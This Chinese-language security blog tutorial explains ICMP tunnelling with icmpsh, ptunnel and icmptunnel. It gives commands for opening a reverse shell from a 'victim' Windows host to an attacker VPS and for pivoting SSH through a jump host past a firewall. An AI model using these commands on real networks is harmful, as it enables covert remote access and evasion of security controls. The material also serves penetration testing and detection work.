ICMP协议的魅力——ICMP隧道

作者 - 重生信息安全 -Ice

1、ICMP隧道的建立同样是建立在ICMP未被防火墙禁用的情况下使用的,就是PING命令,其原理就是在ICMP报文传输的时候,替换其中的Data部分的数据,并且对端通过一样的工具进行ICMP畸形包的处理。从而将恶意流量隐藏在ICMP数据包中,形成ICMP隧道。

适用于被攻击主机可ping攻击机,可作为临时绕过防火墙。

2、Icmpsh

1、ICMPSH最大的优点是不需要太大的权限即可使用

其使用环境拓扑图可能为这样,不过其他的协议(除IMCP外的协议)与端口都被中间看不见的FireWall所阻挡。
07362-gyhu80mvdxq.png

2、我们在运行此程序时需要关闭自身的ICMP应答(可能需要另外下载一个python包)

关闭应答:

`sysctl -w net.ipv4.icmp_echo_ignore_all=1`             
`apt-get  install  python-impacket`

3、然后在VPS攻击机上运行

./icmpsh_m.py <VPS-IP> <内网出网口的公网地址>(可能为内网防火墙的地址,可通过TcpDump 监听ICMP ,在受害主机上进行PING VPS 从而得知,两者要能互相PING通)

例如:
./icmpsh_m.py 192.168.49.138 192.168.49.129
4、接着在内网受害主机下(windows)执行

icmpsh.exe  -t   VPS_IP    -d  500     -s  128
                    可直接获取shell

89670-rornan510a.png

5、总结:Icmpsh 使用简单,通过imcp协议绕过防火墙对其他协议的阻拦。要求是两者能够相互ping通信,可直接反弹shell。

3、ptunnel(kali自带)

1、此工具虽然与ICMPSH一样都是使用ICMP协议进行通信的,但是不一样的是,ICMPSH常用于直接反弹shell,而ptunnel采用的是隧道中转,因此需要内网存在一个跳板机

2、同样它需要把自身的ICMP响应关闭

         

 sysctl -w net.ipv4.icmp_echo_ignore_all=1

3、这里构造一个拓扑如下
20374-zq7vrixoxvl.png

4、在B主机(跳板服务器)和主机C装上Ptunnel(kali自带)

5、B主机 开启ptunnel
73040-64b23zh7shk.png

C主机:

ptunnel  -p  192.168.137.128  -lp  1234  -da  192.168.44.130  -dp  22

29068-mbei30ju6yj.png

        -p :跳板机的ip        -lp:自己监听的端口     -da:内网目标的主机IP     -dp:想连接的目标的端口

        C主机最后在ssh  -p  22 127.0.0.1  或者D主机 ssh  -p  22  192.168.137.129  即可

6、总结:ptunnel 用于内网流量的中转,以ICMP协议为通道,起到一个内网跳板机的作用。

4、IcmpTunnel,效果和ICMPSH差不多

git clone https://github.com/jamesbarlow/icmptunnel.git

1、cd icmptunnel&&make

2、接下来在A建立一个服务段,在B建立一个客户端

          A:          

./icmptunnel -s && bg /sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0
          B:
./icmptunnel   A-IP  && bg /sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0
          3、最终效果为以下,两者建立一个特定IP的通道进行连接

95893-b9sww2o5xsc.png
93084-g9fl94k4dw.png

参考文章:

https://www.freebuf.com/sectool/210450.html

原创文章,作者:运营,如若转载,请注明出处:http://www.csxxaq.com/bug/137.html
上报软件漏洞拿了奖金 “双面”黑客却又利用漏洞卖钱
« 上一篇 05-05
内网转发最好的工具——SSH隧道
下一篇 » 05-05